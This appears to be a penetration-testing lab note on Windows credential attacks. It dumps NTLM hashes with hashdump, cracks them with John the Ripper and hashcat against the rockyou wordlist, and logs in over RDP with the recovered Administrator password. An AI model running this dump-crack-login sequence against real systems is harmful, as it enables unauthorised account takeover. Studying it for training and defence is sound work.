# Windows Hash cracking

## Dumping Hashes <a href="#dumping-hashes" id="dumping-hashes"></a>

❗ In order to set up persistence, administrative privileges are required.

```
hashdump
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
bob:1009:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

* Open a new tab and create a `.txt` file with the dumped hashes. Paste the `Administrator` and `bob` hashes

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
bob:1009:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
```

## #Cracking Hashes <a href="#cracking-hashes" id="cracking-hashes"></a>

* Metasploit [auxiliary/analyze/crack\_windows](https://www.rapid7.com/db/modules/auxiliary/analyze/crack_windows) module can be used to brute-force the hashes.

## **#JohnTheRipper**

* In this case John The Ripper will be used as an example

[**`john`**](https://github.com/openwall/john) - *Open Source password security auditing and password recovery tool available for many operating systems*

```
john --list=formats | grep NT
	netntlm, netntlm-naive, net-sha1, nk, notes, md5ns, nsec3, NT, o10glogon
```

```
john --format=NT hashes.txt
# It will use the default wordlist
```

<figure><img src="https://blog.syselement.com/~gitbook/image?url=https:%2F%2F1996978447-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FlhjuckuLbvBn36EoFL7P%252Fuploads%252Fgit-blob-279cf786615540c199d933fac852650539cd0045%252Fimage-20230429165909391.png%3Falt=media&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=d21f000dd4e3eddcf560e7bf2c22368c143a771593a8712f58ca4e8754673e86" alt=""><figcaption></figcaption></figure>

* Use the **`rockyou.txt`** wordlist instead

```
gzip -d /usr/share/wordlists/rockyou.txt.gz
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

## **#Hashcat**

[**`hashcat`**](https://hashcat.net/hashcat/) - *Open Source advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms*

* Crack NTLM hashes with **`hashcat`** brute-force

```
hashcat -a 3 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt 

hashcat -a 3 -m 1000 --show hashes.txt /usr/share/wordlists/rockyou.txt 
    8846f7eaee8fb117ad06bdd830b7586c:password
    5835048ce94ad0564e29a924a03510ef:password1
```

<figure><img src="https://blog.syselement.com/~gitbook/image?url=https:%2F%2F1996978447-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FlhjuckuLbvBn36EoFL7P%252Fuploads%252Fgit-blob-4a65b990998d2e7dc0043bf7a970da24473232f5%252Fimage-20230429171221536.png%3Falt=media&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=ef46161d7192f2442696a693774d9993305ff914c1d081a068a48c79dab2f757" alt=""><figcaption></figcaption></figure>

* Try RDP login

```
xfreerdp /u:Administrator /p:password /v:10.2.24.37
```
